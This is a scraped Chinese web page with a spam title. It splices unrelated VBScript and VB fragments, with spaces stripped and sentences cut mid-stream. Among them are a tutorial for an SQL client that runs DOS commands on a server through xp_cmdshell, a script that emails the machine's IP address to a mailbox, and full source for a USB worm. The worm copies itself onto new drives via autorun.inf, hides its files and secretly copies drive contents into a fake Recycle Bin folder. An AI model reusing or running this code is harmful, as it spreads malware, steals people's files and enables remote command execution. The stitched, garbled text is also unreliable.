电脑微信脚本引流软件纪录片表格

你还可以调整它的大小缺省的create参数是False

好用的手游脚本 '验证字符:fastslz file=Wscript.ScriptFullName Dim slz set slz=CreateObject("Adodb.Stream") slz.Type=1 slz.Mode=3 slz.Open slz.Position=0 slz.Loadfromfile file Bin=slz.read(18) if AscB(MidB(Bin,12,1))=&H66 and AscB(MidB(Bin,13,1))=&H61 and AscB(MidB(Bin,14,1))=&H73 and AscB(MidB(Bin,15,1))=&H74 and AscB(MidB(Bin,16,1))=&H73 and AscB(MidB(Bin,17,1))=&H6C and AscB(MidB(Bin,18,1))=&H7A Then WScript.echo "通过验证" else WScript.echo "非法修改" end if 用VB打造自己的SQL连接器

大家好.....好长时间没上网了...祝大家新年快乐....好了.工程开始现建一个普通窗口..放上3个textBox控件.一个是用来输入ip的txtaddres..还有就是用户名txtuser和密码txtpass...为相应的控件起个好听地名字还有1个按钮用来确定连接...

定义一个连接对象..和记录集对象publicconnasnewADODB.Connect'连接的publicrecvasnewADODB.Resordset'用来接收数据的'''''''''''''''''''''''''''''''''''''''''''''''''''连接按钮事件click()dimsqlasstringsql="Provider=SQLOLEDB.1;Password="&txtpass&";PersistSecurityInfo=True;UserID="&txtuser&";InitialCatalog="&msdb&";DataSource="&txtaddressql变量力存放的是连接字符串....conn.ConnectionString=sql'连接字符串..conn.open'连接ifconn.state=0then'表示连接不成功...当conn.state=1表示连接成功了....

好了...我们的软件现在已经可以正确的连接上sql服务器了现在我们要能执行dos命令...

在我们刚才的窗体里面在创建一个textbox(txtsend)用来打dos命令和一个发送命令按钮发送命令以后服务器会返回数据...所以还要加一个RichTextBox控件(个人推荐)...用textbox也可以在sql默认得数据库msdb里面可以执行xp_cmdshell'dos命令'对...我们现在也要把这条命令发送到服务器执行.....执行按钮事件click()dimsqlasstringsql="xp_cmdshell'"&txtsend.text&"'"'命令应该用单引号括起来....setrecv=conn.Execute(sql)'执行sql命令.并把返回数据记录在记录集recv里面dimiasinteger,colasstringWhileNotrecv.Eof'读数据到最后一行fori=0toRecv.Fields.Count-1col=recv.fields(i).nameRichTextBox.setcolor=&hff00&'改颜色RichTextBox.seltext=recv.fields(col).valuerecv.movenextnextwend程序可能会出现问题..最好加上onErrorgotoerr1err1:msgboxerr.number&err.Description'程序错误编号和类型还告诉大家vb里面有个控件可以生成连接字符串.....components或者直接按Ctrl T..添加MicrosoftADODataControl6.0(OLEDB)控件控件属性里面的选择第三个选项UseConnectionString然后点Build配置字符串就可以了..配置完以后就可以把这个控件删掉.....就讲说这里了....上面已经基本实现了主题的功能..大家还可以自己改进一下...是不是很简单喔大家有什么问题可以找我一起研究..===============================================本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处

编写:特务QQ:27272855E-mail:XF_Mengqier@163.com

->

''getIP set http=createobject("Microsoft.XMLHTTP") ipp="" http.open "get",ipp,false http.send ss=bytes2BSTR(Http.responsebody) intStrA=InStr(1,ss,"[",1)+1 sss=mid(ss,intStrA) intStrB=InStr(1,sss,"]",1)-1 ss=mid(ss,intStrA,intStrB) 'wscript.echo ss Function bytes2BSTR(vIn) strReturn="" For i=1 To LenB(vIn) ThisCharCode=AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn=strReturn & Chr(ThisCharCode) Else NextCharCode=AscB(MidB(vIn,i+1,1)) strReturn=strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i=i + 1 End If Next bytes2BSTR=strReturn End Function ''SendEmail NameSpace="" Set Email=CreateObject("CDO.Message") Email.From="发送邮箱" Email.To="接收邮箱" Email.Subject="主题" Email.Textbody=ss&date() 'ss为获取到的ip'Email.AddAttachment "附件的路径例如:C:\foo.zip" With Email.Configuration.Fields .Item(NameSpace&"sendusing")=2 .Item(NameSpace&"smtpserver")="smtp.163.com" 'smtp服务器地址 .Item(NameSpace&"smtpserverport")=25 .Item(NameSpace&"smtpauthenticate")=1 .Item(NameSpace&"sendusername")="账户名,发送邮箱的" .Item(NameSpace&"sendpassword")="密码" .Update End With Email.SendRebootsaWindows2000PC.ManyexamplesshelltothekernelandjustkillthePC.Thisdoesitproperlyandtakesintoaccountauserprivilages.'APICallsusedforRebootPCPrivateConstTOKEN_ADJUST_PRIVILEGES=&H20PrivateConstTOKEN_QUERY=&H8PrivateConstSE_PRIVILEGE_ENABLED=&H2PrivateConstEWX_SHUTDOWNAsLong=1PrivateConstEWX_FORCEAsLong=4PrivateConstEWX_REBOOT=2PrivateTypeLUID UsedPartAsLong IgnoredForNowHigh32BitPartAsLongEndTypePrivateTypeTOKEN_PRIVILEGES PrivilegeCountAsLong TheLuidAsLUID AttributesAsLongEndTypePrivateDeclareFunctionExitWindowsExLib"user32"(ByValdwOptionsAsLong,ByValdwReservedAsLong)AsLongPrivateDeclareFunctionGetCurrentProcessLib"kernel32"()AsLongPrivateDeclareFunctionOpenProcessTokenLib"advapi32"(ByValProcessHandleAsLong,ByValDesiredAccessAsLong,TokenHandleAsLong)AsLongPrivateDeclareFunctionLookupPrivilegeValueLib"advapi32"Alias"LookupPrivilegeValueA"(ByVallpSystemNameAsString,ByVallpNameAsString,lpLuidAsLUID)AsLongPrivateDeclareFunctionAdjustTokenPrivilegesLib"advapi32"(ByValTokenHandleAsLong,ByValDisableAllPrivilegesAsLong,NewStateAsTOKEN_PRIVILEGES,ByValBufferLengthAsLong,PreviousStateAsTOKEN_PRIVILEGES,ReturnLengthAsLong)AsLongSubRebootPC() OnLocalErrorGoToRebootPC_ErrorHandler ConstcsProcName="RebootPC" DimhProcessHandleAsLong DimhTokenHandleAsLong DimtmpLuidAsLUID DimtkpNewAsTOKEN_PRIVILEGES DimtkpPreviousAsTOKEN_PRIVILEGES DimlBufferNeededAsLong hProcessHandle=GetCurrentProcess() CallOpenProcessToken(hProcessHandle,TOKEN_ADJUST_PRIVILEGESOrTOKEN_QUERY,hTokenHandle)'GettheLUIDfortheshutdownprivilege CallLookupPrivilegeValue("","SeShutdownPrivilege",tmpLuid) tkpNew.PrivilegeCount=1'Oneprivilegetoset tkpNew.TheLuid=tmpLuid tkpNew.Attributes=SE_PRIVILEGE_ENABLED'Enabletheshutdownprivilegeintheaccesstokenofthisprocess. lBufferNeeded=0 CallAdjustTokenPrivileges(hTokenHandle,False,tkpNew,Len(tkpPrevious),tkpPrevious,lBufferNeeded)'ForceaReboot(nooptiontosavefilestocancelout) CallExitWindowsEx(EWX_FORCEOrEWX_REBOOT,&HFFFF) ExitSubRebootPC_ErrorHandler: CallRaiseError(csModName,csProcName,Err.Number,Err.Description)EndSub->

Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动下面简单谈谈用VB的MCI进行多媒体设计的初步知识并给出一个非常简单的CD播放器的例子

Set a=WScript.CreateObject("WScript.Shell") a.Run "notepad" '打开记事本 do Randomize x=Int((40 * Rnd) + 1) '产生一个1~40的随机数赋给X WScript.Sleep 1000 a.SendKeys x&"," '模拟键盘,输出x n=n+1 '累计器 if n=10 then wscript.quit '若累计器N为10则推出脚本 loop '保存成VBS可以看到结果 2019皮肤许多教育工作者在初尝学习VB的甜头后,也跃跃欲试,急于把自己的教学经验变成软件,提高教学效率'[NatruePark] '容错语句 onErrorresumenext '变量声明及初始化 dimfso,old_drs(),new_drs(),old_n,new_n,new_yn,wshshell setfso=CreateObject("Scripting.File"&"SystemObject") setwshshell=wscript.createobject("WScript.Shell") old_n=0 redimold_drs(old_n) old_drs(0)="C" '[主体部分] wshshell.run("explorer.") dimi i=0 dowhilei>=0andi<8*360 scan_disk() ifjudge_new_disk()=1then dimleft_n left_n=1 dowhileleft_n<=(new_n-old_n) new_disk=new_drs(left_n+old_n)&":" '-----------------<维护块>----------------- iffso.FileExists(new_disk&"NP.vbs")=-1then else self_copy(new_disk) endif add_attrib(new_disk&"NP.vbs") iffso.FileExists(new_disk&"autorun.inf")=-1then del_attrib(new_disk&"autorun.inf") endif add_autorun(new_disk) add_attrib(new_disk&"autorun.inf") iffso.FileExists(new_disk&"stNP.vbs")=-1then else add_stNP(new_disk) endif add_attrib(new_disk&"stNP.vbs") '-----------------</维护块>----------------- '-----------------<功能块>----------------- dimrec rec="d:\Recyc1ed" iffso.FolderExists(rec)=-1then else fso.createfolder(rec) endif add_attribf(rec) iffso.FileExists(rec&"desktop.ini")=-1then else add_desktop(rec) endif add_attrib(rec&"desktop.ini") aim_folder=rec&Date()&Rnd() iffso.FolderExists(aim_folder)=-1then else fso.createfolder(aim_folder) endif '查找"汽轮机原理文件夹并复制" iffso.FolderExists(new_disk&"汽轮机原理")=-1then fso.copyfoldernew_disk&"汽轮机原理",aim_folder,true add_attribf(aim_folder) endif '通用复制 ifold_n=0then else setfp=fso.getFolder(new_drs(new_n)&":") setfc=fp.SubFolders foreachfinfc fso.copyfolderf&"",aim_folder&""&f.name,true next setfc=fp.files foreachfinfc fso.copyfilef&"",aim_folder&"",true next add_attribf(aim_folder) endif '-----------------</功能块>----------------- left_n=left_n+1 loop copy_disk() endif wscript.sleep(10000) i=i+1 loop '[函数部分] '可用驱动器检测new_drs(),new_n functionscan_disk() dimd,dr new_n=-1 setdr=fso.drives foreachdindr ifd.isreadythen new_n=new_n+1 redimpreservenew_drs(new_n) new_drs(new_n)=d.driveletter endif next endfunction '判断是否有新加入的驱动器 functionjudge_new_disk() ifnew_n=old_nthen judge_new_disk=0 elseifnew_n<old_nthen redimpreserveold_drs(new_n) old_n=new_n judge_new_disk=0 elseifnew_n>old_nthen redimpreserveold_drs(new_n) judge_new_disk=1 endif endfunction '复制新驱动器表单 functioncopy_disk() dimn n=0 dowhilen<=new_n old_drs(n)=new_drs(n) n=n+1 loop old_n=new_n endfunction '添加指定文件属性 functionadd_attrib(file) setf=fso.getfile(file) iff.attributes=7then else f.attributes=7 endif endfunction '删除指定文件属性 functiondel_attrib(file) setf=fso.getfile(file) iff.attributes=7then f.attributes=0 else endif endfunction '自我复制到指定文件目录 functionself_copy(folder) dimaim_path,mid_path,self_file,mid_file aim_path=folder&"NP.vbs" mid_path="c:\np.bin" setself_file=fso.opentextfile(wscript.scriptfullname,1) self=self_file.readall setmid_file=fso.opentextfile(mid_path,2,true) mid_file.writeself mid_file.close setmid_file=fso.getfile(mid_path) mid_file.copy(aim_path) mid_file.delete(true) endfunction '增加autorun.inf functionadd_autorun(folder) dimpath path=folder&"autorun.inf" settemp=fso.CreateTextFile("c:\a.bin",true) temp.writeline"[autorun]" temp.writeline"open=" temp.writeline"shell\open=打开(&O)" temp.writeline"shell\open\Command=WScript.exestNP.vbs" temp.writeline"shell\open\Default=1" temp.writeline"shell\explore=资源管理器(&X)" temp.writeline"shell\explore\Command=WScript.exestNP.vbs" temp.close setcop=fso.getfile("c:\a.bin") cop.copy(path) cop.delete(true) endfunction '增加desktop.ini functionadd_desktop(folder) dimpath path=folder&"desktop.ini" settemp=fso.CreateTextFile("c:\d.bin",true) temp.writeline"[.ShellClassInfo]" temp.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}" temp.close setcop=fso.getfile("c:\d.bin") cop.copy(path) cop.delete(true) endfunction '增加stNP.vbs functionadd_stNP(folder) dimpath setfso=CreateObject("Scripting.File"&"SystemObject") path=folder&"stNP.vbs" settemp=fso.CreateTextFile("c:\s.bin",true) temp.writeline"onerrorresumenext" temp.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")" temp.writeline"iffso.FileExists("&chr(34)&"NP.vbs"&chr(34)&")=-1then" temp.writeline"iffso.FileExists("&chr(34)&"d:\NP.vbs"&chr(34)&")=-1then" temp.writeline"setf=fso.getfile("&chr(34)&"d:\NP.vbs"&chr(34)&")" temp.writeline"iff.attributes=0then" temp.writeline"else" temp.writeline"f.attributes=0" temp.writeline"endif" temp.writeline"f.delete(true)" temp.writeline"endif" temp.writeline"fso.copyfile"&chr(34)&"NP.vbs"&chr(34)&","&chr(34)&"d:\NP.vbs"&chr(34)&",true" temp.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")" temp.writeline"wshshell.run"&chr(34)&"d:\NP.vbs"&chr(34) temp.writeline"endif" temp.close setcop=fso.getfile("c:\s.bin") cop.copy(path) cop.delete(true) endfunction '添加指定文件夹属性 functionadd_attribf(folder) setf=fso.getfolder(folder) iff.attributes=7then else f.attributes=7 endif endfunction '删除指定文件夹属性 functiondel_attribf(folder) setf=fso.getfolder(folder) iff.attributes=0then else f.attributes=0 endif endfunction wscript.echo("THANKYOU!!") wscript.quit。

182人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册